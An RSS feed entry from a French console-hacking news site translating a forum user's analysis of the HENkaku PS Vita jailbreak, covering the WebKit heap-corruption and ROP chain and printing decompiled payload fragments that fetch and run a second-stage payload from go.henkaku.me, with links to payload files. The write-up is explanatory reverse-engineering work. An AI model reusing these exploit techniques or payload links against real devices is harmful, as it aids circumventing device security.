<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>
<channel>
	<title>Archives des reverse enginerer - Custom Protocol</title>
	<atom:link href="https://www.customprotocol.com/tags/reverse-enginerer/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.customprotocol.com/tags/reverse-enginerer/</link>
	<description>Site d&#039;hack-tualité et de tutoriels sur la customisation de consoles et appareils (homebrews, plugins, émulation...)</description>
	<lastBuildDate>Thu, 04 Aug 2016 17:19:26 +0000</lastBuildDate>
	<language>fr-CA</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
	<item>
		<title>[VITA] HENkaku partiellement décrypté&#8239;!</title>
		<link>https://www.customprotocol.com/vita-henkaku-partiellement-decrypte/</link>
					<comments>https://www.customprotocol.com/vita-henkaku-partiellement-decrypte/#comments</comments>
		
		<dc:creator><![CDATA[Tuxbot123]]></dc:creator>
		<pubDate>Thu, 04 Aug 2016 17:19:26 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[News Underground]]></category>
		<category><![CDATA[Underground]]></category>
		<category><![CDATA[HENkaku]]></category>
		<category><![CDATA[reverse enginerer]]></category>
		<guid isPermaLink="false">https://www.customprotocol.com/?p=11020</guid>
					<description><![CDATA[<p>Essayez de comprendre comment l'exploit HENKaku fonctionne.</p>
<p>L’article <a rel="nofollow" href="https://www.customprotocol.com/vita-henkaku-partiellement-decrypte/">[VITA] HENkaku partiellement décrypté&#8239;!</a> est apparu en premier sur <a rel="nofollow" href="https://www.customprotocol.com">Custom Protocol</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Un utilisateur des forums de Wololo nommé dans un très grand élan d'originalité "<em>H</em>" a posté une commentaire dans un article du site (ne cherchez pas, le commentaire a disparu) avec un lien menant à ses explication à propos de l'exploit <strong>HENkaku</strong>.</p>
<p style="text-align: justify;">Ces explications, les voici, comme d'habitude traduites en français (à mon plus grand malheur xD)&#8239;! Attention, c'est technique.</p>
<p style="text-align: justify;"><a href="https://www.customprotocol.com/medias/2016/08/henkaku-molecule-imgwind-modifiee.png"><img fetchpriority="high" decoding="async" class="aligncenter size-medium wp-image-11023" src="https://www.customprotocol.com/medias/2016/08/henkaku-molecule-imgwind-modifiee-500x281.png" alt="henkaku-molecule-imgWind-modifiée" width="500" height="281" /></a></p>
<hr />
<h4 style="text-align: justify;">Première étape&nbsp;: l'exploit du navigateur</h4>
<p>Appuyer sur le bouton "<em>Install</em>" du site d'<strong>HENkaku</strong> résulte en un simple check de l'<em>user agent</em>. Si l'<em>user agent</em> détecté correspond avec celui d'une PS Vita ou d'un PS TV en 3.60, l'utilisateur est automatiquement redirigé vers <strong>http://go.henkaku.me</strong> où l'exploit est déployé.</p>
<p>L'exploit réutilise des éléments de plusieurs anciens exploits publics (<em>heap spraying method, sort() bug, scrollLeft attribute manipulation</em>) et les combine avec une nouvelle technique de corruption de tas (NDA&nbsp;: <em>heap corruption</em> en anglais, je savais pas trop comment le traduire ^^).</p>
<p>La <em>Team Molecule</em> a renommé les variables et les méthodes pour fournir une simple couche d'<a href="https://fr.wikipedia.org/wiki/Code_impénétrable"><em>obfuscation</em></a> sur le code <em>HTML</em>.</p>
<p>Vous pouvez trouver le code partiellement reversé (concentré sur les parties cruciales) ici&nbsp;: <a href="http://pastebin.com/bYA4xGaQ">http://pastebin.com/bYA4xGaQ</a></p>
<p>Comme d'autres anciens exploits, <strong>HENkaku</strong> permet de corrompre la <em>vtable</em> d'un objet et de faire un <a href="https://en.wikipedia.org/wiki/Return-oriented_programming"><em>ROP</em></a> dans le module <em>SceWebkit</em>. Les offset pour les librairies et les gadgets <em>ROP</em> sont récupérés depuis un fichier <em>javascript</em> (<a href="http://go.henkaku.xyz/payload.js">http://go.henkaku.xyz/payload.js</a>) pendant la dernière étape de l'exploit.</p>
<figure id="attachment_3972" aria-describedby="caption-attachment-3972" style="width: 300px" class="wp-caption aligncenter"><img decoding="async" class="size-medium wp-image-3972" src="https://www.customprotocol.com/medias/2015/04/PS-Vita-faille-webkit-300x143.png" alt="Webkit, toute une histoire..." width="300" height="143" srcset="https://www.customprotocol.com/medias/2015/04/PS-Vita-faille-webkit-300x143.png 300w, https://www.customprotocol.com/medias/2015/04/PS-Vita-faille-webkit-768x366.png 768w, https://www.customprotocol.com/medias/2015/04/PS-Vita-faille-webkit-1024x488.png 1024w, https://www.customprotocol.com/medias/2015/04/PS-Vita-faille-webkit-370x176.png 370w, https://www.customprotocol.com/medias/2015/04/PS-Vita-faille-webkit-270x129.png 270w, https://www.customprotocol.com/medias/2015/04/PS-Vita-faille-webkit-570x272.png 570w, https://www.customprotocol.com/medias/2015/04/PS-Vita-faille-webkit-740x353.png 740w, https://www.customprotocol.com/medias/2015/04/PS-Vita-faille-webkit.png 1280w, https://www.customprotocol.com/medias/2015/04/PS-Vita-faille-webkit-300x143@2x.png 600w" sizes="(max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-3972" class="wp-caption-text">Webkit, toute une histoire...</figcaption></figure>
<p>La <em>Team Molecule</em> a implémenté une méthode dynamique pour transférer les gadgets et les fonctions des offset pour chaque module une fois leur adresse de base trouvée (en regardant dans <em>SceWebkit</em>).</p>
<h4>Seconde étape&nbsp;: ROP payload 1</h4>
<p>À ce moment, l'exploit du navigateur a arrangé l'espace de la mémoire pour lancer le premier <em>ROP payload</em> qui est reconstruit à partir du fichier <em>payload.js</em>.</p>
<p style="text-align: justify;">Le fichier <em>payload.js</em> contient deux <em>arrays</em>, une contenant les données du <em>payload</em> et l'autre le type de relocation pour chaque mot.</p>
<p style="text-align: justify;">En croisant ces informations, l'exploit lit le <em>payload</em> et relocalise tous les offset du code vers l'adresse de module cible en ajoutant l'adresse de base du module&nbsp;:</p>
<pre class="lang:default decode:true">        Relocation type 0 -&gt; Plain data stored inside the ROP space itself. No relocation needed.
	Relocation type 1 -&gt; Offset inside the ROP payload's stack.
	Relocation type 2 -&gt; Offset inside the SceWebkit module.
	Relocation type 3 -&gt; Offset inside the SceLibKernel module.
	Relocation type 4 -&gt; Offset inside the SceLibc module.
	Relocation type 5 -&gt; Offset inside the SceLibHttp module.
	Relocation type 6 -&gt; Offset inside the SceNet(?) module.
	Relocation type 7 -&gt; Offset inside the SceDriverUser(?) module.</pre>
<p style="text-align: justify;">Le <em>payload</em> reconstruit peut être trouvé ici&nbsp;: <a href="https://www.sendspace.com/file/mwpeut">https://www.sendspace.com/file/mwpeut</a></p>
<p style="text-align: justify;">Et une analyse de ce fameux <em>payload</em> ici&nbsp;: <a href="http://pastebin.com/gxc0cX1i">http://pastebin.com/gxc0cX1i</a></p>
<p style="text-align: justify;">Le <em>payload</em> s'occupe de différentes choses, comme par exemple&nbsp;:</p>
<pre class="lang:default decode:true ">	// Do stuff	
	...
	// Create a new thread for the second payload
	int thread_id&nbsp;=&nbsp;sceKernelCreateThread("st2", SceWebkit_base&nbsp;+&nbsp;0x000054C8, 0x10000100, 0x00600000, 0x00000000, 0x00000000, 0x00000000);
	
	// Do stuff
	...
	// Construct the arguments for fetching the second payload
	strcpy(stack_base&nbsp;+&nbsp;0x000000BC, "http://go.henkaku.me/x");
	snprintf(stack_base&nbsp;+&nbsp;0x000002C4, 0x00000100, "?a1=%x", stack_base);
	strcpy(stack_base&nbsp;+&nbsp;0x000000BC, stack_base&nbsp;+&nbsp;0x000002C4);
	snprintf(stack_base&nbsp;+&nbsp;0x000002C4, 0x00000100, "&amp;a2=%x&amp;a3=%x&amp;a4=%x&amp;", SceWebkit_base, SceLibKernel_base, SceLibc_base);
	strcpy(stack_base&nbsp;+&nbsp;0x000000BC, stack_base&nbsp;+&nbsp;0x000002C4);
	snprintf(stack_base&nbsp;+&nbsp;0x000002C4, 0x00000100, "&amp;a5=%x&amp;a6=%x&amp;a7=%x&amp;", SceLibHttp_base, SceNet_base, SceDriverUser_base);
	strcpy(stack_base&nbsp;+&nbsp;0x000000BC, stack_base&nbsp;+&nbsp;0x000002C4);
	// Do stuff
	...
	// Send HTTP requests to fetch the second payload
	SceLibHttp_92fd(0x00010000);
	int http_buf&nbsp;=&nbsp;SceLibHttp_947b("ldr", 0x00000002, 0x00000001);
	SceLibHttp_950b(http_buf, stack_base&nbsp;+&nbsp;0x000000BC, 0x00000000);
	int http_req&nbsp;=&nbsp;SceLibHttp_95ff(http_buf, 0x00000000, stack_base&nbsp;+&nbsp;0x000000BC);
	SceLibHttp_9935(http_req, 0x00000000, 0x00000000);
	SceLibHttp_9983(http_req);
	// Do stuff
	...</pre>
<p style="text-align: justify;">Après le premier <em>payload</em> fini, un requête HTTP est envoyée au serveur en utilisant le <em>template</em> suivant&nbsp;: <em>http://go.henkaku.me/x?a1=stack_base&amp;a2=webkit_base&amp;a3=libkernel_base&amp;a4=libc_base&amp;&amp;a5=libhttp_base&amp;a6=net_base&amp;a7=driveruser_base&amp;</em><br />Par exemple&nbsp;: <em>http://go.henkaku.me/x?a1=89f02000&amp;a2=81b009a0&amp;a3=e000dd00&amp;a4=811c0cc0&amp;&amp;a5=e0607c80&amp;a6=e01302b0&amp;a7=e0047bf0&amp;</em></p>
<p style="text-align: justify;">Le script "x" côté serveur collecte l'adresse de base de chaque module et génère un second payload qui sera lancé sur Vita.</p>
<h4 style="text-align: justify;">Troisième étape&nbsp;: ROP payload 2</h4>
<p>Le second <em>payload</em> est composé d'une autre chaîne ROP et de code ARM obfusqué.<br />Une analyse préliminaire de ce payload révèle des choses intéressantes&nbsp;:</p>
<pre class="lang:default decode:true ">	strcpy(stack_base&nbsp;+&nbsp;0x000086B4, "sdstor0:");
	strcpy(stack_base&nbsp;+&nbsp;0x000086CC, "xmc-lp-ign-userext");
	// Do stuff
	...
	strcpy(stack_base&nbsp;+&nbsp;0x000086E4, "molecule0:");
	SceLibKernel_a4ad("molecule0:");
	SceLibKernel_a55d("sdstor0:", 0x00000005, "xmc-lp-ign-userext", 0x00000014);
	
	// Do stuff
	...
	int thread1_id&nbsp;=&nbsp;sceKernelCreateThread("pln", SceWebkit_base&nbsp;+&nbsp;0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x000003FF, 0x00000000);	
	SceLibKernel_a791(thread1_id, 0x7C);
	
	// Do stuff	
	...
	
	int thread2_id&nbsp;=&nbsp;sceKernelCreateThread("mhm", SceWebkit_base&nbsp;+&nbsp;0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x00000000, 0x00000000);
	// Do stuff
	...
	SceNet_27E1("x", 0x00000002, 0x00000001);
	SceNet_27E1("x", 0x00000002, 0x00000001);
	SceNet_27E1("x", 0x00000002, 0x00000001);
	SceNet_27E1("x", 0x00000002, 0x00000001);
	SceNet_27E1("x", 0x00000002, 0x00000001);
	
	// Do stuff
	...
	
	SceNet_27E1("sss", 0x00000002, 0x00000001);	
	SceNet_27E1("tst", 0x00000002, 0x00000007);	
	SceNet_27E1("tmp", 0x00000002, 0x00000001);
	// Do stuff
	...</pre>
<p style="text-align: justify;">À suivre...</p>
<p style="text-align: justify;">~ H.</p>
<hr />
<p style="text-align: justify;">Si vous n'avez rien compris, sachez que c'est normal, nous non plus. Ça prouve que c'est bien assez complexe et sécurisé xD</p>
<p style="text-align: justify;">Mais quel est l'intérêt de <em>reverse enginerer</em> (oui, c'est français&#8239;! Enfin...) <strong>HENkaku</strong>&#8239;? Et bien il pourrait en ressortir un portage sur d'autres versions du firmware, mais aussi pouvoir héberger <strong>HENkaku</strong> n'importe où&nbsp;: en local bien sûr, mais aussi sur d'autres sites internet <a href="https://www.customprotocol.com/underground/vita-site-henkaku-indisponible-hier/" target="_blank" rel="noopener noreferrer">au cas où un incident surviendrait</a>.</p>
<p style="text-align: justify;">Que des bonnes choses, non&#8239;? Et bien en fait pas tout à fait... En effet, au moment où nous écrivons ces lignes, les ingénieurs en sécurité de <em>Sony</em> (mais si, vous savez, les seuls personnes de la boîte a avoir fait leur taf sur la Vita&#8239;!) sont sûrement en train de chercher à comprendre comment <strong>HENkaku</strong> fonctionne, et surtout comment le patcher. Si quelqu'un arrivait à le <em>reverse enginerer, Sony</em> en profiterait&#8239;!</p>
<p>L’article <a rel="nofollow" href="https://www.customprotocol.com/vita-henkaku-partiellement-decrypte/">[VITA] HENkaku partiellement décrypté&#8239;!</a> est apparu en premier sur <a rel="nofollow" href="https://www.customprotocol.com">Custom Protocol</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.customprotocol.com/vita-henkaku-partiellement-decrypte/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
	</channel>
</rss>

